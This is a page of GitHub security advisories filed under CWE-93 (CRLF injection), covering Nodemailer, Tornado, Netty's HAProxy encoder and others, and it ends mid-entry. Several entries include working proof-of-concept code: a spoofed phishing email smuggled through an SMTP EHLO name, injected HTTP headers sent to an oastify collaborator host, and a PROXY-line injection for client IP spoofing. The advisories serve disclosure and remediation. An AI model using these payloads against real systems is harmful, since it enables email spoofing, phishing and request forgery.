CWE-93
AllowedImproper Neutralization of CRLF Sequences ('CRLF Injection')
Abstraction: Base · Status: Draft
The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.
368 vulnerabilities reference this CWE, most recent first.
GHSA-VQFG-JWCG-58WW
Vulnerability from github – Published: 2026-05-17 18:30 – Updated: 2026-05-18 15:30Net::Statsd::Tiny versions before 0.3.8 for Perl allowed metric injections.
The metric names and set values were not checked for newlines, colons or pipes. Metrics generated from untrusted sources could inject additional statsd metrics.
{
"affected": [],
"aliases": [
"CVE-2026-46720"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-17T18:16:27Z",
"severity": "HIGH"
},
"details": "Net::Statsd::Tiny versions before 0.3.8 for Perl allowed metric injections.\n\nThe metric names and set values were not checked for newlines, colons or pipes. Metrics generated from untrusted sources could inject additional statsd metrics.",
"id": "GHSA-vqfg-jwcg-58ww",
"modified": "2026-05-18T15:30:37Z",
"published": "2026-05-17T18:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46720"
},
{
"type": "WEB",
"url": "https://github.com/robrwo/Net-Statsd-Tiny/commit/06f814f52fbcc0b2afddf7a2d6f8137fd3cede13.patch"
},
{
"type": "WEB",
"url": "https://metacpan.org/release/RRWO/Net-Statsd-Tiny-v0.3.8/changes"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46719"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VVJJ-XCJG-GR5G
Vulnerability from github – Published: 2026-04-08 15:05 – Updated: 2026-04-08 15:05Summary
Nodemailer versions up to and including 8.0.4 are vulnerable to SMTP command injection via CRLF sequences in the transport name configuration option. The name value is used directly in the EHLO/HELO SMTP command without any sanitization for carriage return and line feed characters (\r\n). An attacker who can influence this option can inject arbitrary SMTP commands, enabling unauthorized email sending, email spoofing, and phishing attacks.
Details
The vulnerability exists in lib/smtp-connection/index.js. When establishing an SMTP connection, the name option is concatenated directly into the EHLO command:
// lib/smtp-connection/index.js, line 71
this.name = this.options.name || this._getHostname();
// line 1336
this._sendCommand('EHLO ' + this.name);
The _sendCommand method writes the string directly to the socket followed by \r\n (line 1082):
this._socket.write(Buffer.from(str + '\r\n', 'utf-8'));
If the name option contains \r\n sequences, each injected line is interpreted by the SMTP server as a separate command. Unlike the envelope.from and envelope.to fields which are validated for \r\n (line 1107-1119), and unlike envelope.size which was recently fixed (GHSA-c7w3-x93f-qmm8) by casting to a number, the name parameter receives no CRLF sanitization whatsoever.
This is distinct from the previously reported GHSA-c7w3-x93f-qmm8 (envelope.size injection) as it affects a different parameter (name vs size), uses a different injection point (EHLO command vs MAIL FROM command), and occurs at connection initialization rather than during message sending.
The name option is also used in HELO (line 1384) and LHLO (line 1333) commands with the same lack of sanitization.
PoC
const nodemailer = require('nodemailer');
const net = require('net');
// Simple SMTP server to observe injected commands
const server = net.createServer(socket => {
socket.write('220 test ESMTP\r\n');
socket.on('data', data => {
const lines = data.toString().split('\r\n').filter(l => l);
lines.forEach(line => {
console.log('SMTP CMD:', line);
if (line.startsWith('EHLO') || line.startsWith('HELO'))
socket.write('250 OK\r\n');
else if (line.startsWith('MAIL FROM'))
socket.write('250 OK\r\n');
else if (line.startsWith('RCPT TO'))
socket.write('250 OK\r\n');
else if (line === 'DATA')
socket.write('354 Go\r\n');
else if (line === '.')
socket.write('250 OK\r\n');
else if (line === 'QUIT')
{ socket.write('221 Bye\r\n'); socket.end(); }
else if (line === 'RSET')
socket.write('250 OK\r\n');
});
});
});
server.listen(0, '127.0.0.1', () => {
const port = server.address().port;
// Inject a complete phishing email via EHLO name
const transport = nodemailer.createTransport({
host: '127.0.0.1',
port: port,
secure: false,
name: 'legit.host\r\nMAIL FROM:<attacker@evil.com>\r\n'
+ 'RCPT TO:<victim@target.com>\r\nDATA\r\n'
+ 'From: ceo@company.com\r\nTo: victim@target.com\r\n'
+ 'Subject: Urgent\r\n\r\nPhishing content\r\n.\r\nRSET'
});
transport.sendMail({
from: 'legit@example.com',
to: 'legit-recipient@example.com',
subject: 'Normal email',
text: 'Normal content'
}, () => { server.close(); process.exit(0); });
});
Running this PoC shows the SMTP server receives the injected MAIL FROM, RCPT TO, DATA, and phishing email content as separate SMTP commands before the legitimate email is sent.
Impact
Who is affected: Applications that allow users or external input to configure the name SMTP transport option. This includes:
- Multi-tenant SaaS platforms with per-tenant SMTP configuration
- Admin panels where SMTP hostname/name settings are stored in databases
- Applications loading SMTP config from environment variables or external sources
What can an attacker do: 1. Send unauthorized emails to arbitrary recipients by injecting MAIL FROM and RCPT TO commands 2. Spoof email senders by injecting arbitrary From headers in the DATA portion 3. Conduct phishing attacks using the legitimate SMTP server as a relay 4. Bypass application-level controls on email recipients, since the injected commands are processed before the application's intended MAIL FROM/RCPT TO 5. Perform SMTP reconnaissance by injecting commands like VRFY or EXPN
The injection occurs at the EHLO stage (before authentication in most SMTP flows), making it particularly dangerous as the injected commands may be processed with the server's trust context.
Recommended fix: Sanitize the name option by stripping or rejecting CRLF sequences, similar to how envelope.from and envelope.to are already validated on lines 1107-1119 of lib/smtp-connection/index.js. For example:
this.name = (this.options.name || this._getHostname()).replace(/[\r\n]/g, '');
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.4"
},
"package": {
"ecosystem": "npm",
"name": "nodemailer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T15:05:20Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nNodemailer versions up to and including 8.0.4 are vulnerable to SMTP command injection via CRLF sequences in the transport `name` configuration option. The `name` value is used directly in the EHLO/HELO SMTP command without any sanitization for carriage return and line feed characters (`\\r\\n`). An attacker who can influence this option can inject arbitrary SMTP commands, enabling unauthorized email sending, email spoofing, and phishing attacks.\n\n### Details\n\nThe vulnerability exists in `lib/smtp-connection/index.js`. When establishing an SMTP connection, the `name` option is concatenated directly into the EHLO command:\n\n```javascript\n// lib/smtp-connection/index.js, line 71\nthis.name = this.options.name || this._getHostname();\n\n// line 1336\nthis._sendCommand(\u0027EHLO \u0027 + this.name);\n```\n\nThe `_sendCommand` method writes the string directly to the socket followed by `\\r\\n` (line 1082):\n\n```javascript\nthis._socket.write(Buffer.from(str + \u0027\\r\\n\u0027, \u0027utf-8\u0027));\n```\n\nIf the `name` option contains `\\r\\n` sequences, each injected line is interpreted by the SMTP server as a separate command. Unlike the `envelope.from` and `envelope.to` fields which are validated for `\\r\\n` (line 1107-1119), and unlike `envelope.size` which was recently fixed (GHSA-c7w3-x93f-qmm8) by casting to a number, the `name` parameter receives no CRLF sanitization whatsoever.\n\nThis is distinct from the previously reported GHSA-c7w3-x93f-qmm8 (envelope.size injection) as it affects a different parameter (`name` vs `size`), uses a different injection point (EHLO command vs MAIL FROM command), and occurs at connection initialization rather than during message sending.\n\nThe `name` option is also used in HELO (line 1384) and LHLO (line 1333) commands with the same lack of sanitization.\n\n### PoC\n\n```javascript\nconst nodemailer = require(\u0027nodemailer\u0027);\nconst net = require(\u0027net\u0027);\n\n// Simple SMTP server to observe injected commands\nconst server = net.createServer(socket =\u003e {\n socket.write(\u0027220 test ESMTP\\r\\n\u0027);\n socket.on(\u0027data\u0027, data =\u003e {\n const lines = data.toString().split(\u0027\\r\\n\u0027).filter(l =\u003e l);\n lines.forEach(line =\u003e {\n console.log(\u0027SMTP CMD:\u0027, line);\n if (line.startsWith(\u0027EHLO\u0027) || line.startsWith(\u0027HELO\u0027))\n socket.write(\u0027250 OK\\r\\n\u0027);\n else if (line.startsWith(\u0027MAIL FROM\u0027))\n socket.write(\u0027250 OK\\r\\n\u0027);\n else if (line.startsWith(\u0027RCPT TO\u0027))\n socket.write(\u0027250 OK\\r\\n\u0027);\n else if (line === \u0027DATA\u0027)\n socket.write(\u0027354 Go\\r\\n\u0027);\n else if (line === \u0027.\u0027)\n socket.write(\u0027250 OK\\r\\n\u0027);\n else if (line === \u0027QUIT\u0027)\n { socket.write(\u0027221 Bye\\r\\n\u0027); socket.end(); }\n else if (line === \u0027RSET\u0027)\n socket.write(\u0027250 OK\\r\\n\u0027);\n });\n });\n});\n\nserver.listen(0, \u0027127.0.0.1\u0027, () =\u003e {\n const port = server.address().port;\n\n // Inject a complete phishing email via EHLO name\n const transport = nodemailer.createTransport({\n host: \u0027127.0.0.1\u0027,\n port: port,\n secure: false,\n name: \u0027legit.host\\r\\nMAIL FROM:\u003cattacker@evil.com\u003e\\r\\n\u0027\n + \u0027RCPT TO:\u003cvictim@target.com\u003e\\r\\nDATA\\r\\n\u0027\n + \u0027From: ceo@company.com\\r\\nTo: victim@target.com\\r\\n\u0027\n + \u0027Subject: Urgent\\r\\n\\r\\nPhishing content\\r\\n.\\r\\nRSET\u0027\n });\n\n transport.sendMail({\n from: \u0027legit@example.com\u0027,\n to: \u0027legit-recipient@example.com\u0027,\n subject: \u0027Normal email\u0027,\n text: \u0027Normal content\u0027\n }, () =\u003e { server.close(); process.exit(0); });\n});\n```\n\nRunning this PoC shows the SMTP server receives the injected MAIL FROM, RCPT TO, DATA, and phishing email content as separate SMTP commands before the legitimate email is sent.\n\n### Impact\n\n**Who is affected:** Applications that allow users or external input to configure the `name` SMTP transport option. This includes:\n- Multi-tenant SaaS platforms with per-tenant SMTP configuration\n- Admin panels where SMTP hostname/name settings are stored in databases\n- Applications loading SMTP config from environment variables or external sources\n\n**What can an attacker do:**\n1. **Send unauthorized emails** to arbitrary recipients by injecting MAIL FROM and RCPT TO commands\n2. **Spoof email senders** by injecting arbitrary From headers in the DATA portion\n3. **Conduct phishing attacks** using the legitimate SMTP server as a relay\n4. **Bypass application-level controls** on email recipients, since the injected commands are processed before the application\u0027s intended MAIL FROM/RCPT TO\n5. **Perform SMTP reconnaissance** by injecting commands like VRFY or EXPN\n\nThe injection occurs at the EHLO stage (before authentication in most SMTP flows), making it particularly dangerous as the injected commands may be processed with the server\u0027s trust context.\n\n**Recommended fix:** Sanitize the `name` option by stripping or rejecting CRLF sequences, similar to how `envelope.from` and `envelope.to` are already validated on lines 1107-1119 of `lib/smtp-connection/index.js`. For example:\n\n```javascript\nthis.name = (this.options.name || this._getHostname()).replace(/[\\r\\n]/g, \u0027\u0027);\n```",
"id": "GHSA-vvjj-xcjg-gr5g",
"modified": "2026-04-08T15:05:20Z",
"published": "2026-04-08T15:05:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-vvjj-xcjg-gr5g"
},
{
"type": "WEB",
"url": "https://github.com/nodemailer/nodemailer/commit/0a43876801a420ca528f492eaa01bfc421cc306e"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodemailer/nodemailer"
},
{
"type": "WEB",
"url": "https://github.com/nodemailer/nodemailer/releases/tag/v8.0.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Nodemailer Vulnerable to SMTP Command Injection via CRLF in Transport name Option (EHLO/HELO) "
}
GHSA-W235-7P84-XX57
Vulnerability from github – Published: 2024-06-06 21:46 – Updated: 2024-06-06 21:46Summary
Tornado’s curl_httpclient.CurlAsyncHTTPClient class is vulnerable to CRLF (carriage return/line feed) injection in the request headers.
Details
When an HTTP request is sent using CurlAsyncHTTPClient, Tornado does not reject carriage return (\r) or line feed (\n) characters in the request headers. As a result, if an application includes an attacker-controlled header value in a request sent using CurlAsyncHTTPClient, the attacker can inject arbitrary headers into the request or cause the application to send arbitrary requests to the specified server.
This behavior differs from that of the standard AsyncHTTPClient class, which does reject CRLF characters.
This issue appears to stem from libcurl's (as well as pycurl's) lack of validation for the HTTPHEADER option. libcurl’s documentation states:
The headers included in the linked list must not be CRLF-terminated, because libcurl adds CRLF after each header item itself. Failure to comply with this might result in strange behavior. libcurl passes on the verbatim strings you give it, without any filter or other safe guards. That includes white space and control characters.
pycurl similarly appears to assume that the headers adhere to the correct format. Therefore, without any validation on Tornado’s part, header names and values are included verbatim in the request sent by CurlAsyncHTTPClient, including any control characters that have special meaning in HTTP semantics.
PoC
The issue can be reproduced using the following script:
import asyncio
from tornado import httpclient
from tornado import curl_httpclient
async def main():
http_client = curl_httpclient.CurlAsyncHTTPClient()
request = httpclient.HTTPRequest(
# Burp Collaborator payload
"http://727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com/",
method="POST",
body="body",
# Injected header using CRLF characters
headers={"Foo": "Bar\r\nHeader: Injected"}
)
response = await http_client.fetch(request)
print(response.body)
http_client.close()
if __name__ == "__main__":
asyncio.run(main())
When the specified server receives the request, it contains the injected header (Header: Injected) on its own line:
POST / HTTP/1.1
Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com
User-Agent: Mozilla/5.0 (compatible; pycurl)
Accept: */*
Accept-Encoding: gzip,deflate
Foo: Bar
Header: Injected
Content-Length: 4
Content-Type: application/x-www-form-urlencoded
body
The attacker can also construct entirely new requests using a payload with multiple CRLF sequences. For example, specifying a header value of \r\n\r\nPOST /attacker-controlled-url HTTP/1.1\r\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com results in the server receiving an additional, attacker-controlled request:
POST /attacker-controlled-url HTTP/1.1
Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com
Content-Length: 4
Content-Type: application/x-www-form-urlencoded
body
Impact
Applications using the Tornado library to send HTTP requests with untrusted header data are affected. This issue may facilitate the exploitation of server-side request forgery (SSRF) vulnerabilities.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.4.0"
},
"package": {
"ecosystem": "PyPI",
"name": "tornado"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.4.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2024-06-06T21:46:31Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nTornado\u2019s `curl_httpclient.CurlAsyncHTTPClient` class is vulnerable to CRLF (carriage return/line feed) injection in the request headers.\n\n### Details\nWhen an HTTP request is sent using `CurlAsyncHTTPClient`, Tornado does not reject carriage return (\\r) or line feed (\\n) characters in the request headers. As a result, if an application includes an attacker-controlled header value in a request sent using `CurlAsyncHTTPClient`, the attacker can inject arbitrary headers into the request or cause the application to send arbitrary requests to the specified server.\n\nThis behavior differs from that of the standard `AsyncHTTPClient` class, which does reject CRLF characters.\n\nThis issue appears to stem from libcurl\u0027s (as well as pycurl\u0027s) lack of validation for the [`HTTPHEADER`](https://curl.se/libcurl/c/CURLOPT_HTTPHEADER.html) option. libcurl\u2019s documentation states:\n\n\u003e The headers included in the linked list must not be CRLF-terminated, because libcurl adds CRLF after each header item itself. Failure to comply with this might result in strange behavior. libcurl passes on the verbatim strings you give it, without any filter or other safe guards. That includes white space and control characters.\n\npycurl similarly appears to assume that the headers adhere to the correct format. Therefore, without any validation on Tornado\u2019s part, header names and values are included verbatim in the request sent by `CurlAsyncHTTPClient`, including any control characters that have special meaning in HTTP semantics.\n\n### PoC\nThe issue can be reproduced using the following script:\n\n```python\nimport asyncio\n\nfrom tornado import httpclient\nfrom tornado import curl_httpclient\n\nasync def main():\n http_client = curl_httpclient.CurlAsyncHTTPClient()\n\n request = httpclient.HTTPRequest(\n # Burp Collaborator payload\n \"http://727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com/\",\n method=\"POST\",\n body=\"body\",\n # Injected header using CRLF characters\n headers={\"Foo\": \"Bar\\r\\nHeader: Injected\"}\n )\n\n response = await http_client.fetch(request)\n print(response.body)\n\n http_client.close()\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n```\n\nWhen the specified server receives the request, it contains the injected header (`Header: Injected`) on its own line:\n\n```http\nPOST / HTTP/1.1\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com\nUser-Agent: Mozilla/5.0 (compatible; pycurl)\nAccept: */*\nAccept-Encoding: gzip,deflate\nFoo: Bar\nHeader: Injected\nContent-Length: 4\nContent-Type: application/x-www-form-urlencoded\n\nbody\n```\n\nThe attacker can also construct entirely new requests using a payload with multiple CRLF sequences. For example, specifying a header value of `\\r\\n\\r\\nPOST /attacker-controlled-url HTTP/1.1\\r\\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com` results in the server receiving an additional, attacker-controlled request:\n\n```http\nPOST /attacker-controlled-url HTTP/1.1\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com\nContent-Length: 4\nContent-Type: application/x-www-form-urlencoded\n\nbody\n```\n\n### Impact\nApplications using the Tornado library to send HTTP requests with untrusted header data are affected. This issue may facilitate the exploitation of server-side request forgery (SSRF) vulnerabilities.",
"id": "GHSA-w235-7p84-xx57",
"modified": "2024-06-06T21:46:31Z",
"published": "2024-06-06T21:46:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tornadoweb/tornado/security/advisories/GHSA-w235-7p84-xx57"
},
{
"type": "WEB",
"url": "https://github.com/tornadoweb/tornado/commit/7786f09f84c9f3f2012c4cf3878417cb9f053669"
},
{
"type": "PACKAGE",
"url": "https://github.com/tornadoweb/tornado"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Tornado has a CRLF injection in CurlAsyncHTTPClient headers"
}
GHSA-W4HH-9Q66-VGVC
Vulnerability from github – Published: 2023-11-03 12:30 – Updated: 2023-11-03 12:30A CRLF injection vulnerability has been found in ManageEngine Desktop Central affecting version 9.1.0. This vulnerability could allow a remote attacker to inject arbitrary HTTP headers and perform HTTP response splitting attacks via the fileName parameter in /STATE_ID/1613157927228/InvSWMetering.pdf.
{
"affected": [],
"aliases": [
"CVE-2023-4768"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-03T11:15:08Z",
"severity": "MODERATE"
},
"details": "A CRLF injection vulnerability has been found in ManageEngine Desktop Central affecting version 9.1.0. This vulnerability could allow a remote attacker to inject arbitrary HTTP headers and perform HTTP response splitting attacks via the fileName parameter in /STATE_ID/1613157927228/InvSWMetering.pdf.",
"id": "GHSA-w4hh-9q66-vgvc",
"modified": "2023-11-03T12:30:31Z",
"published": "2023-11-03T12:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-4768"
},
{
"type": "WEB",
"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-manageengine-desktop-central"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WCF2-GQG7-88P4
Vulnerability from github – Published: 2022-05-24 16:44 – Updated: 2024-04-04 00:20An issue was discovered in Weaver e-cology 9.0. There is a CRLF Injection vulnerability via the /workflow/request/ViewRequestForwardSPA.jsp isintervenor parameter, as demonstrated by the %0aSet-cookie: substring.
{
"affected": [],
"aliases": [
"CVE-2019-10272"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-04-30T18:29:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Weaver e-cology 9.0. There is a CRLF Injection vulnerability via the /workflow/request/ViewRequestForwardSPA.jsp isintervenor parameter, as demonstrated by the %0aSet-cookie: substring.",
"id": "GHSA-wcf2-gqg7-88p4",
"modified": "2024-04-04T00:20:26Z",
"published": "2022-05-24T16:44:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10272"
},
{
"type": "WEB",
"url": "https://expzh.com/Weaver-e-cology9.0-CRLF-Injection.pdf"
},
{
"type": "WEB",
"url": "https://www.weaver.com.cn/cs/securityDownload.asp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WH89-7897-X99H
Vulnerability from github – Published: 2026-07-22 21:51 – Updated: 2026-07-22 21:51Security Vulnerability Report: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address in Netty
1. Vulnerability Summary
| Field | Value |
|---|---|
| Product | Netty |
| Version | 4.2.12.Final (and all prior versions with codec-haproxy) |
| Component | io.netty.handler.codec.haproxy.HAProxyMessageEncoder |
| Vulnerability Type | CWE-93: Improper Neutralization of CRLF Sequences |
| Impact | HAProxy PROXY Protocol Injection / Client IP Spoofing |
| CVSS 3.1 Score | 7.5 (High) |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
2. Affected Components
io.netty.handler.codec.haproxy.HAProxyMessageEncoder—encodeV1()method (lines 63-77): writessourceAddressanddestinationAddressdirectly to output without CRLF validationio.netty.handler.codec.haproxy.HAProxyMessage— constructorcheckAddress()validates IPv4/IPv6 format but only checks length for AF_UNIX (line 439)
3. Vulnerability Description
Netty's HAProxy protocol encoder writes AF_UNIX socket addresses directly into the HAProxy V1 text protocol format without validating for CRLF characters. The V1 protocol uses CRLF (\r\n) as the line terminator, so CRLF characters in an address split the single PROXY header line into multiple lines, effectively injecting a second PROXY protocol header.
Root Cause — Encoder
// HAProxyMessageEncoder.java:63-77
private static void encodeV1(HAProxyMessage msg, ByteBuf out) {
out.writeBytes(TEXT_PREFIX); // "PROXY "
out.writeByte((byte) ' ');
out.writeCharSequence(msg.proxiedProtocol().name(), US_ASCII); // "UNIX_STREAM"
out.writeByte((byte) ' ');
out.writeCharSequence(msg.sourceAddress(), US_ASCII); // <-- NO CRLF CHECK
out.writeByte((byte) ' ');
out.writeCharSequence(msg.destinationAddress(), US_ASCII); // <-- NO CRLF CHECK
out.writeByte((byte) ' ');
// ...
out.writeByte((byte) '\r');
out.writeByte((byte) '\n');
}
Root Cause — Insufficient Address Validation
// HAProxyMessage.java:428-442
private static void checkAddress(String address, AddressFamily addrFamily) {
switch (addrFamily) {
case AF_UNIX:
ObjectUtil.checkNotNull(address, "address");
if (address.getBytes(CharsetUtil.US_ASCII).length > 108) {
throw new IllegalArgumentException("invalid AF_UNIX address: " + address);
}
return; // ONLY checks length <= 108, NO CRLF validation!
case AF_IPv4:
if (!NetUtil.isValidIpV4Address(address)) { ... } // Format check blocks CRLF
case AF_IPv6:
if (!NetUtil.isValidIpV6Address(address)) { ... } // Format check blocks CRLF
}
}
IPv4 and IPv6 addresses are validated against format rules that implicitly reject CRLF. But AF_UNIX addresses only check length <= 108 — any characters including CRLF are accepted.
4. Exploitability Prerequisites
This vulnerability is exploitable when:
- An application uses Netty's
HAProxyMessageEncoderto construct HAProxy V1 protocol headers - AF_UNIX (
UNIX_STREAMorUNIX_DGRAM) addresses contain user-controlled input - The encoded PROXY header is sent to a downstream server or load balancer
Affected use cases: - PROXY protocol relays that construct AF_UNIX messages from upstream data - Load balancer integrations where socket paths come from configuration or external sources - Multi-tenant proxies that dynamically construct PROXY headers
5. Attack Scenario
Client IP Spoofing via Second PROXY Line Injection
String maliciousAddr = "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80";
HAProxyMessage msg = new HAProxyMessage(
HAProxyProtocolVersion.V1,
HAProxyCommand.PROXY,
HAProxyProxiedProtocol.UNIX_STREAM,
maliciousAddr, // CRLF-injected source address
"/var/run/dest.sock",
0, 0);
Wire format sent to backend:
PROXY UNIX_STREAM /var/run/app.sock
PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0
The backend receives two PROXY lines. Depending on implementation:
- HAProxy: may use the first line and ignore the second
- Other implementations: may use the second line, treating the connection as TCP4 from 10.0.0.1
- This enables client IP spoofing — the backend believes the client is 10.0.0.1 when it's not
6. Proof of Concept
Full Runnable PoC Source Code (HAProxyUnixCRLFPoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.haproxy.*;
import java.nio.charset.StandardCharsets;
public class HAProxyUnixCRLFPoC {
public static void main(String[] args) {
System.out.println("=== Netty HAProxy AF_UNIX CRLF Injection PoC ===\n");
String maliciousAddr = "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80";
String destAddr = "/var/run/dest.sock";
HAProxyMessage msg = new HAProxyMessage(
HAProxyProtocolVersion.V1,
HAProxyCommand.PROXY,
HAProxyProxiedProtocol.UNIX_STREAM,
maliciousAddr, destAddr, 0, 0);
EmbeddedChannel ch = new EmbeddedChannel(HAProxyMessageEncoder.INSTANCE);
ch.writeOutbound(msg);
ByteBuf out = ch.readOutbound();
String encoded = out.toString(StandardCharsets.UTF_8);
out.release();
ch.finishAndReleaseAll();
System.out.println("Wire format:");
for (String line : encoded.split("\n", -1)) {
System.out.println(" " + line.replace("\r", "\\r"));
}
int proxyCount = 0;
for (String line : encoded.split("\r\n")) {
if (line.startsWith("PROXY")) proxyCount++;
}
System.out.println("PROXY lines: " + proxyCount);
System.out.println("VULNERABLE: " + (proxyCount > 1 ? "YES" : "NO"));
}
}
How to Compile and Run
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
| grep -v sources | grep -v javadoc | tr '\n' ':')
javac -cp "$JARS" HAProxyUnixCRLFPoC.java
java -cp "$JARS:." HAProxyUnixCRLFPoC
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty HAProxy AF_UNIX CRLF Injection PoC ===
[TEST 1] AF_UNIX Source Address CRLF Injection
------------------------------------------------
Source address: "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80"
Wire format:
PROXY UNIX_STREAM /var/run/app.sock\r
PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0\r
PROXY lines found: 2
VULNERABLE: YES - Second PROXY line injected!
7. Remediation Recommendations
Option 1: Validate AF_UNIX Addresses for CRLF
// HAProxyMessage.java checkAddress() - add for AF_UNIX:
case AF_UNIX:
ObjectUtil.checkNotNull(address, "address");
byte[] addrBytes = address.getBytes(CharsetUtil.US_ASCII);
if (addrBytes.length > 108) {
throw new IllegalArgumentException("invalid AF_UNIX address: too long");
}
for (byte b : addrBytes) {
if (b == '\r' || b == '\n') {
throw new IllegalArgumentException(
"AF_UNIX address contains prohibited CRLF character");
}
}
return;
Option 2: Validate in Encoder
// HAProxyMessageEncoder.java encodeV1() - validate before writing:
private static void validateV1Address(String address) {
for (int i = 0; i < address.length(); i++) {
char c = address.charAt(i);
if (c == '\r' || c == '\n' || c == ' ') {
throw new HAProxyProtocolException(
"V1 address contains prohibited character at index " + i);
}
}
}
8. References
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-haproxy"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.16.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-haproxy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.136.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59919"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T21:51:40Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# Security Vulnerability Report: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address in Netty\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-haproxy) |\n| **Component** | `io.netty.handler.codec.haproxy.HAProxyMessageEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences |\n| **Impact** | HAProxy PROXY Protocol Injection / Client IP Spoofing |\n| **CVSS 3.1 Score** | **7.5 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` |\n\n## 2. Affected Components\n\n- `io.netty.handler.codec.haproxy.HAProxyMessageEncoder` \u2014 `encodeV1()` method (lines 63-77): writes `sourceAddress` and `destinationAddress` directly to output without CRLF validation\n- `io.netty.handler.codec.haproxy.HAProxyMessage` \u2014 constructor `checkAddress()` validates IPv4/IPv6 format but **only checks length for AF_UNIX** (line 439)\n\n## 3. Vulnerability Description\n\nNetty\u0027s HAProxy protocol encoder writes AF_UNIX socket addresses directly into the HAProxy V1 text protocol format **without validating for CRLF characters**. The V1 protocol uses CRLF (`\\r\\n`) as the line terminator, so CRLF characters in an address split the single PROXY header line into multiple lines, effectively injecting a second PROXY protocol header.\n\n### Root Cause \u2014 Encoder\n\n```java\n// HAProxyMessageEncoder.java:63-77\nprivate static void encodeV1(HAProxyMessage msg, ByteBuf out) {\n out.writeBytes(TEXT_PREFIX); // 